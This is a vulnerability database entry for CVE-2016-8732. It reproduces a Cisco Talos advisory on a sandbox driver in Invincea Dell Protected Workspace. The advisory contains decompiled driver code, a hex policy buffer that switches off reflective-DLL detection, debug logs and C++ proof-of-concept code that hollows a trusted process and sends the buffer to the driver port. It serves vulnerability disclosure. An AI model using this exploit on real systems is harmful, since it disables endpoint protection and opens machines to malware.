Vulnerabilities > CVE-2016-8732 - Permission Issues vulnerability in Sophos Invincea Dell Protected Workspace 5.1.122303
Attack vector
LOCAL Attack complexity
LOW Privileges required
LOW Confidentiality impact
HIGH Integrity impact
HIGH Availability impact
HIGH Summary
Multiple security flaws exists in InvProtectDrv.sys which is a part of Invincea Dell Protected Workspace 5.1.1-22303. Weak restrictions on the driver communication channel and additional insufficient checks allow any application to turn off some of the protection mechanisms provided by the Invincea product.
Vulnerable Configurations
Part | Description | Count |
---|---|---|
Application | 1 |
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Accessing, Modifying or Executing Executable Files An attack of this type exploits a system's configuration that allows an attacker to either directly access an executable file, for example through shell access; or in a possible worst case allows an attacker to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
- Leverage Executable Code in Non-Executable Files An attack of this type exploits a system's trust in configuration and resource files, when the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high. The attack can be directed at a client system, such as causing buffer overrun through loading seemingly benign image files, as in Microsoft Security Bulletin MS04-028 where specially crafted JPEG files could cause a buffer overrun once loaded into the browser. Another example targets clients reading pdf files. In this case the attacker simply appends javascript to the end of a legitimate url for a pdf (http://www.gnucitizen.org/blog/danger-danger-danger/) http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here The client assumes that they are reading a pdf, but the attacker has modified the resource and loaded executable javascript into the client's browser process. The attack can also target server processes. The attacker edits the resource or configuration file, for example a web.xml file used to configure security permissions for a J2EE app server, adding role name "public" grants all users with the public role the ability to use the administration functionality. The server trusts its configuration file to be correct, but when they are manipulated, the attacker gains full control.
Seebug
bulletinFamily | exploit |
description | ### Summary Multiple security flaws exists in InvProtectDrv.sys which is a part of Invincea Dell Protected Workspace 5.1.1-22303. Weak restrictions on the driver communication channel and additonal insufficient checks allow any application to turn off some of the protection mechanisms provided by the Invincea product. ### Tested Versions Invincea Dell Protected Workspace build 5.1.1-22303 ### Product URLs * http://www.dellprotectedworkspace.com/ * https://www.invincea.com ### CVSSv3 Score 7.8 - CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H ### Details This vulnerability is present in the InvProtectDrv.sys driver which is a part of the Invincea Dell Protected Workspace. This product provides sandbox functionality for Windows environments. Due to weak permissions on the driver communication channel and ineffective additional checks, any malicious application can communicate with driver and turn off some of the security functionality provided by this product. Let's investigate these flaws. The `InvProtectDrv.sys` driver creates a communication port via the FltCommunicationPort with weak security descriptions allowing any user to communicate with this port. The vulnerable code looks as follows: ``` Line 1 v2 = FltBuildDefaultSecurityDescriptor(&acl, 0x1F0001); Line 2 DbgPrint("InvProtectDrv: FltBuildDefaultSecurityDescriptor 0x%x\n", v2); Line 3 if ( v2 >= 0 ) Line 4 { Line 5 RtlSetDaclSecurityDescriptor(acl, 1u, 0, 0); Line 6 RtlInitUnicodeString(&DestinationString, L"\\InvProtectDrvPort"); Line 7 v7 = &DestinationString; Line 8 v5 = 24; Line 9 v6 = 0; Line 10 v8 = 576; Line 11 v9 = acl; Line 12 v10 = 0; Line 13 v3 = FltCreateCommunicationPort( Line 14 dword_95B930E0, Line 15 &dword_95B930E4, Line 16 &v5, Line 17 0, Line 18 sub_95B8C360, Line 19 sub_95B8C3A0, Line 20 MessageNotifyCallback, Line 21 1); ``` The amount of applications to can connect with this port is limited to one but because the connection is occupied by a user mode application which is not protected, malicious application can kill the `InvProtectAgent.exe` process and connect to the port. The Routine responsible for handling messages sent to the driver is at `line 20 MessageNotifyCallback`. One of the functionalities of this communication channel is to apply new policies to the sandbox. Part of `MessageNotifyCallback` looks as follows: ``` Line 1 int __stdcall MessageNotifyCallback(PVOID PortCookie, PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer, ULONG OutputBufferLength, PULONG ReturnOutputBufferLength) Line 2 { Line 3 (...) Line 4 if ( controlCode == 1 ) Line 5 { Line 6 DbgPrint("InvProtectDrv: USER_STARTED %d\n", 1); Line 7 pid = PsGetCurrentProcessId(); Line 8 if ( !checkApplicationLocation(pid) ) Line 9 { Line 10 DbgPrint("InvProtectDrv: USER_STARTED access denied.\n"); Line 11 OutputBufferLength = 0xC0000022; Line 12 *ReturnOutputBufferLength = (ULONG)OutputBuffer; Line 13 return OutputBufferLength; Line 14 } Line 15 applyNewPolicy((struct_InputBuffer *)InputBuffer, InputBufferLength); ``` As we can see, before the new policy is applied, the location of the application which sent it is checked. There are a couple of absolute application paths defined and only applications from this paths are able to satifisy this constraint. Let's take a look at the `checkApplicationLocation` function: ``` Line 1 char __stdcall checkApplicationLocation(HANDLE pid) Line 2 { Line 3 (...) Line 4 senderAppPath = (UNICODE_STRING *)getPathFromPid((SIZE_T)pid, 0); Line 5 if ( senderAppPath ) Line 6 { Line 7 v3 = (unsigned __int16)(installationDir->Length + 60); Line 8 v4 = ExAllocatePoolWithTag(0, v3, 0x4D766E49u); Line 9 P = v4; Line 10 if ( v4 ) Line 11 { Line 12 allowedAppStr.Buffer = (PWSTR)v4; Line 13 allowedAppStr.Length = 0; Line 14 allowedAppStr.MaximumLength = v3; Line 15 RtlCopyUnicodeString(&allowedAppStr, installationDir); Line 16 index = 0; Line 17 while ( 1 ) Line 18 { Line 19 allowedApp = allowedApps[index]; Line 20 allowedAppStr.Length = installationDir->Length; Line 21 v7 = RtlAppendUnicodeToString(&allowedAppStr, allowedApp); Line 22 if ( !RtlCompareUnicodeString(senderAppPath, &allowedAppStr, 1u) ) Line 23 break; Line 24 if ( v7 < 0 ) Line 25 DbgPrint("InvProtectDrv: %x in %s, ln %d\n", v7, "Driver\\InvProtectDrv.c", 2673); Line 26 if ( ++index >= 4u ) Line 27 goto end_of_array; Line 28 } Line 29 allowed = 1; Line 30 ``` In the while loop at `lines 17-28`, we see a comparison of the array `allowedApps`'s elements with `senderAppPath`. If the sender's application path is equal to one of paths, the `allowed` flag is set to one. The content of allowedApps is as follow: ``` .data:95B930A0 ; PCWSTR allowedApps[4] .data:95B930A0 allowedApps dd offset aInvprotect_exe .data:95B930A0 ; DATA XREF: checkApplicationLocation+9Cr .data:95B930A0 ; "InvProtect.exe" .data:95B930A4 dd offset aInvprotect64_e ; "InvProtect64.exe" .data:95B930A8 dd offset aInvprotectsvc_ ; "InvProtectSvc.exe" .data:95B930AC dd offset aInvprotectsvc6 ; "InvProtectSvc64.exe" ``` Because the standard installation directory of the executable files listed in this array is `C:\Program Files\Invincea\Enterprise`, an unprivileged user can't put a malicious executable in that location. To bypass that check attacker can use the `RunPE` technique on one of the executables listed in the `allowedApps` array. That way, the executable path check will be satisfied. After bypassing this check, the attacker needs to provided a properly formatted buffer to trigger specific actions. Examining the process reveals that the structure of the `inputBuffer` contains a new `policy` that looks as follows: ``` struct Policy { DWORD policySize; DWORD policyType; BYTE policyData[]; } struct Package { DWORD command; DWORD policiesAmount; Policy[policiesAmount]; } ``` Inside the `applyNewPolicy` function we find call to a routine which exposes what type of policy and functionality we can trigger. ``` Line 1 ULONG __stdcall sub_95B8C730(int a1) Line 2 { Line 3 ULONG result; // eax@3 Line 4 Line 5 if ( *(_DWORD *)(a1 + 4) == 1 ) Line 6 { Line 7 if ( *(_DWORD *)(a1 + 8) ) Line 8 { Line 9 sub_95B8FA50(1); Line 10 result = DbgPrint("DetectReflectiveDll is on\n"); Line 11 } Line 12 else Line 13 { Line 14 sub_95B8FA50(0); Line 15 result = DbgPrint("DetectReflectiveDll is off\n"); Line 16 } Line 17 } Line 18 else if ( *(_DWORD *)(a1 + 4) == 2 ) Line 19 { Line 20 if ( *(_DWORD *)(a1 + 8) ) Line 21 { Line 22 sub_95B8FA60(1); Line 23 result = DbgPrint("KillReflectiveDllProcess is on\n"); Line 24 } Line 25 else Line 26 { Line 27 sub_95B8FA60(0); Line 28 result = DbgPrint("KillReflectiveDllProcess is off\n"); ``` We can see that sending a properly formatted `inputBuffer` we can turn functionality on or off that is related to: ``` - reflective dll detection - killing a process with a reflective dll ``` An example of an input buffer that contains a policy that will disable both the options above looks like this: ``` Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F 00000000 01 00 00 00 00 00 00 70 0C 00 00 00 01 00 00 00 .......p........ 00000010 01 00 00 00 01 00 00 00 0C 00 00 00 01 00 00 00 ................ 00000020 01 00 00 00 00 00 00 00 0C 00 00 00 01 00 00 00 ................ 00000030 02 00 00 00 00 00 00 00 ........ ``` After running the PoC code below with the `inputBuffer` defined above, we see the following messages in DebugView: ``` [3388] SetOSData [3388] SetOSData GetProcAddress [3388] GetKnownFolder [3388] GetSysLibHandle Fore [3388] GetSysLibHandle existed InvProtectDrv: Thread offset 0x2c InvProtectDrv: Peb offset 0x1a8 InvProtectDrv: Params offset 0x10 InvProtectDrv: CmdLine offset 0x40 InvProtectDrv: FltRegisterFilter 0x0 InvProtectDrv: FltBuildDefaultSecurityDescriptor 0x0 InvProtectDrv: FltCreateCommunicationPort 0x0 InvProtectDrv: call Sandbox driver InvProtectDrv: SboxSetNotifyRoutine 0x0 InvProtectDrv: PsSetCreateThreadNotifyRoutine 0x0 InvProtectDrv: FltStartFiltering 0x0 InvProtectDrv: CmRegisterCallback 0x0 InvProtectDrv: PsSetLoadImageNotifyRoutine 0x0 InvProtectDrv: Firewall driver is loaded. InvProtectDrv: DriverEntry completed InvProtectDrv: Port Connect InvProtectDrv: SVC_STARTED 3 DetectReflectiveDll is on KillReflectiveDllProcess is off kServicePort: 86c4d088 InvProtectDrv: call Sandbox driver InvProtectDrv: SboxSetNotifyRoutine 0x0 FsContext entry size: 0 InvProtectDrv: kUPDATE_CYNOMIX_POLICY 9 InvProtectDrv: Cynomix is disabled. (...) [+]Connection set. Ready for actions inBuffer = 0x00af3451 size : 0x38 InvProtectDrv: USER_STARTED 1 DetectReflectiveDll is off KillReflectiveDllProcess is off InvProtectDrv: SboxSetNotifyRoutine [+]Message Sent ``` ### PoC ``` --------------------------------------- payload.exe -------------------------------------------- #include "stdafx.h" #include "Win32Project1.h" #include <Windows.h> #include <Fltuser.h> #pragma comment(lib,"FltLib") #include <fstream> using namespace std; #define _CRT_SECURE_NO_WARNINGS void LogMessage(char* pszFormat, ...) { static char s_acBuf[2048]; // this here is a caveat! va_list args; va_start(args, pszFormat); vsprintf(s_acBuf, pszFormat, args); OutputDebugStringA(s_acBuf); va_end(args); } PBYTE readFile(LPWSTR fileName, PDWORD size) { PBYTE buffer; ifstream file(fileName, ios::binary); if (!file.is_open()) { printf("Could no open file\n"); exit(0); } file.seekg(0, file.end); *size = file.tellg(); file.seekg(0, file.beg); buffer = new BYTE[*size]; file.read((char*)buffer, *size); file.close(); return buffer; } void dumpFile(PBYTE buff,DWORD buffSize) { ofstream file("C:\\tmp\\outbuff.bin"); file.write((char*)buff,buffSize); file.close(); } void sendMessage() { HANDLE portHandle; HRESULT result; DWORD inBufferLen; PBYTE inBuffer; const DWORD outBufferLen = 0x1000; BYTE outBuffer[0x1000] = { 0 }; DWORD returned; LPCWSTR portName = L"\\InvProtectDrvPort"; result = FilterConnectCommunicationPort(portName, 0, 0, 0, 0, &portHandle); if (IS_ERROR(result)) { LogMessage("[-]Problem with connection : 0x%x\n", result); return; } LogMessage("[+]Connection set. Ready for actions\n"); inBuffer = readFile(L"C:\\tmp\\package.bin", &inBufferLen); LogMessage("inBuffer = 0x%x size : 0x%x\n", inBuffer, inBufferLen); result = FilterSendMessage(portHandle, inBuffer, inBufferLen, outBuffer, outBufferLen, &returned); if (IS_ERROR(result)) { LogMessage("[-]FilterSend went wrong : 0x%x\n", result); return; } LogMessage("[+]Outbuff dumped with size : 0x%x\n",returned); dumpFile(outBuffer, returned); LogMessage("[+]Message Sent\n"); } int APIENTRY _tWinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPTSTR lpCmdLine, _In_ int nCmdShow) { sendMessage(); return 0; } --------------------------------------- payload.exe -------------------------------------------- ------------------------------------------ runpe.exe --------------------------------------------- int _tmain(int argc, _TCHAR* argv[]) LPWSTR src = L"C:\\Program Files\\Invincea\\Enterprise\\InvProtect.exe"; LPWSTR payload = L"Z:\\tmp\\payload.exe"; killProcess("InvProtect.exe"); runPE(src, readFile(payload)); return 0; ------------------------------------------ runpe.exe --------------------------------------------- ``` ### Timeline * 2016-12-01 - Vendor Disclosure * 2017-06-30 - Public Release ### CREDIT * Discovered by Marcin 'Icewall' Noga of Cisco Talos. |
id | SSV:96479 |
last seen | 2017-11-19 |
modified | 2017-09-14 |
published | 2017-09-14 |
reporter | Root |
source | https://www.seebug.org/vuldb/ssvid-96479 |
title | Invincea Dell Protected Workspace Protection Bypass(CVE-2016-8732) |
Talos
id | TALOS-2016-0246 |
last seen | 2019-05-29 |
published | 2017-06-30 |
reporter | Talos Intelligence |
source | http://www.talosintelligence.com/vulnerability_reports/TALOS-2016-0246 |
title | Invincea Dell Protected Workspace Protection Bypass |